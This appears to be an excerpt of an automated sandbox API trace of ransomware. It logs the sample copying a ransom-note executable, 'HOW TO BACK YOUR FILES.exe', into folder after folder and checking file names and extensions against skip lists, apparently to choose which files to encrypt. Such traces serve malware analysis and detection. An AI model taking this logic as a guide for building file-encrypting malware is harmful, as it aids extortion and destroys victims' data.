	[0066.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.005] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0066.007] CloseHandle (hObject=0x14c) returned 1
	[0066.007] CloseHandle (hObject=0x154) returned 1
	[0066.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.008] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0066.008] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0066.008] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c10
	[0066.008] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0066.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5ae8 | out: hHeap=0x580000) returned 1
	[0066.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0066.008] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 82
	[0066.008] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0066.008] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.008] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0066.009] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0066.009] GetLastError () returned 0x0
	[0066.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0066.009] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0066.009] CloseHandle (hObject=0x15c) returned 1
	[0066.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0066.009] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.009] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0066.009] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.009] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.009] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0066.009] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.009] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.010] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0066.010] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0066.010] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0066.010] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f4e1eb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0066.010] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0066.010] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0066.010] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0066.010] lstrlenW (lpString="packages") returned 8
	[0066.010] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned 84
	[0066.010] lstrcpyW (in: lpString1=0x119e6ae, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0066.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0066.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0066.010] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c10 | out: ListHead=0x5b75f0, ListEntry=0x5b7c10) returned 0x5b7b50
	[0066.010] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0066.010] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0066.010] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c10
	[0066.010] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0066.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0066.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0066.011] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned 91
	[0066.011] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0066.011] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.011] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0066.011] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0066.011] GetLastError () returned 0x0
	[0066.011] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0066.011] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0066.012] CloseHandle (hObject=0x15c) returned 1
	[0066.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0066.012] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.012] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0066.012] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.012] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.012] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0066.012] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.012] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.012] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0066.012] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0066.012] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0066.012] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f508010, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0066.012] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0066.012] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="Apollon865.txt.exe") returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2=".") returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="..") returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="windows") returned -1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="bootmgr") returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="temp") returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="pagefile.sys") returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="boot") returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="ids.txt") returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="ntuser.dat") returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="perflogs") returned 1
	[0066.012] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="MSBuild") returned 1
	[0066.013] lstrlenW (lpString="vcRuntimeMinimum_amd64") returned 22
	[0066.013] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*") returned 93
	[0066.013] lstrcpyW (in: lpString1=0x119e6c0, lpString2="vcRuntimeMinimum_amd64" | out: lpString1="vcRuntimeMinimum_amd64") returned="vcRuntimeMinimum_amd64"
	[0066.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0066.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe6) returned 0x59a200
	[0066.013] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c10 | out: ListHead=0x5b75f0, ListEntry=0x5b7c10) returned 0x5b7b50
	[0066.013] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0066.013] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0066.013] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c10
	[0066.013] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64"
	[0066.013] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a200 | out: hHeap=0x580000) returned 1
	[0066.013] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0066.013] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned 114
	[0066.013] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64"
	[0066.013] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.013] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0066.014] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0066.014] GetLastError () returned 0x0
	[0066.014] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0066.014] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0066.014] CloseHandle (hObject=0x15c) returned 1
	[0066.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0066.014] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.014] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0066.014] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.014] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.014] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0066.014] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.014] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.014] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0066.015] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0066.015] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0066.015] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b69ee00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7b69ee00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7b69ee00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0066.015] lstrlenW (lpString="cab1.cab") returned 8
	[0066.015] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*") returned 116
	[0066.015] lstrcpyW (in: lpString1=0x119e6ee, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0066.015] lstrlenW (lpString="cab1.cab") returned 8
	[0066.015] lstrlenW (lpString="Apollon865") returned 10
	[0066.015] lstrlenW (lpString=".dll") returned 4
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0066.015] lstrlenW (lpString=".lnk") returned 4
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0066.015] lstrlenW (lpString=".ini") returned 4
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0066.015] lstrlenW (lpString=".sys") returned 4
	[0066.015] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0066.015] lstrlenW (lpString="cab1.cab") returned 8
	[0066.015] lstrlenW (lpString="bak") returned 3
	[0066.015] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0066.015] lstrlenW (lpString="ba_") returned 3
	[0066.015] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0066.016] lstrlenW (lpString="dbb") returned 3
